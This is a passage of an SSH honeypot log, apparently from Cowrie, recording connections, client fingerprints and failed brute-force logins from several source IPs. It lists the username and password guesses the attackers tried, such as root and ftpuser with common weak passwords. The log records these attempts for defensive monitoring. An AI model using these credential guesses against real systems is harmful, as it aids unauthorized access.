{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:44.881065Z","src_ip":"113.163.156.190","session":"90ce5b49a1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6yhn&UJM","message":"login attempt [root/6yhn&UJM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:45.942770Z","src_ip":"113.163.156.190","session":"90ce5b49a1e6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:46.786968Z","src_ip":"122.168.114.167","session":"260a1b5cce49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:46.791207Z","src_ip":"122.168.114.167","session":"260a1b5cce49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:47.205154Z","src_ip":"113.163.156.190","session":"90ce5b49a1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":38736,"dst_ip":"10.17.0.5","dst_port":22,"session":"68d658d25905","protocol":"ssh","message":"New connection: 103.97.179.160:38736 (10.17.0.5:22) [session: 68d658d25905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:56.619600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:56.622876Z","src_ip":"103.97.179.160","session":"68d658d25905","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:56.871905Z","src_ip":"103.97.179.160","session":"68d658d25905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1234qwer","message":"login attempt [ftpuser/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:57.760353Z","src_ip":"103.97.179.160","session":"68d658d25905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:58.978744Z","src_ip":"103.97.179.160","session":"68d658d25905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:08.520729Z","src_ip":"122.168.114.167","session":"260a1b5cce49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.3","message":"Connection lost after 32.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:14.192442Z","src_ip":"122.168.114.167","session":"260a1b5cce49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51898,"dst_ip":"159.203.135.109","dst_port":22,"session":"26877c57cd6e","protocol":"ssh","message":"New connection: 122.168.114.167:51898 (159.203.135.109:22) [session: 26877c57cd6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:21.248305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:26.012864Z","src_ip":"122.168.114.167","session":"26877c57cd6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:26.017176Z","src_ip":"122.168.114.167","session":"26877c57cd6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":38028,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3ff48056df1","protocol":"ssh","message":"New connection: 76.127.61.251:38028 (10.17.0.5:22) [session: a3ff48056df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:29.626399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:29.631916Z","src_ip":"76.127.61.251","session":"a3ff48056df1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:29.686409Z","src_ip":"76.127.61.251","session":"a3ff48056df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sj@123456","message":"login attempt [root/sj@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:29.936722Z","src_ip":"76.127.61.251","session":"a3ff48056df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:30.993843Z","src_ip":"76.127.61.251","session":"a3ff48056df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:40.257270Z","src_ip":"122.168.114.167","session":"26877c57cd6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.4","message":"Connection lost after 24.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:45.690857Z","src_ip":"122.168.114.167","session":"26877c57cd6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":41842,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc6ce9efde52","protocol":"ssh","message":"New connection: 113.163.156.190:41842 (159.203.135.109:22) [session: dc6ce9efde52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:47.279946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:47.286288Z","src_ip":"113.163.156.190","session":"dc6ce9efde52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:47.536387Z","src_ip":"113.163.156.190","session":"dc6ce9efde52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qa@WS3ed$RF","message":"login attempt [ubuntu/1qa@WS3ed$RF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:48.572623Z","src_ip":"113.163.156.190","session":"dc6ce9efde52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:10:49.826153Z","src_ip":"113.163.156.190","session":"dc6ce9efde52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54298,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a9fc7cdd2e2","protocol":"ssh","message":"New connection: 122.168.114.167:54298 (159.203.135.109:22) [session: 9a9fc7cdd2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:04.548812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:08.061676Z","src_ip":"122.168.114.167","session":"9a9fc7cdd2e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:08.072611Z","src_ip":"122.168.114.167","session":"9a9fc7cdd2e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":37284,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a6e07021d4c","protocol":"ssh","message":"New connection: 103.97.179.160:37284 (10.17.0.5:22) [session: 8a6e07021d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:13.154469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:13.158781Z","src_ip":"103.97.179.160","session":"8a6e07021d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":35410,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe94daecb457","protocol":"ssh","message":"New connection: 148.230.169.229:35410 (10.17.0.5:22) [session: fe94daecb457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:18.693690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:18.815834Z","src_ip":"148.230.169.229","session":"fe94daecb457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:18.877506Z","src_ip":"148.230.169.229","session":"fe94daecb457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:18.887522Z","src_ip":"103.97.179.160","session":"8a6e07021d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345","message":"login attempt [user3/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:19.197701Z","src_ip":"148.230.169.229","session":"fe94daecb457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:20.274560Z","src_ip":"148.230.169.229","session":"fe94daecb457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":33124,"dst_ip":"10.17.0.5","dst_port":22,"session":"32806b6e43db","protocol":"ssh","message":"New connection: 76.127.61.251:33124 (10.17.0.5:22) [session: 32806b6e43db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:20.878489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:20.882499Z","src_ip":"76.127.61.251","session":"32806b6e43db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@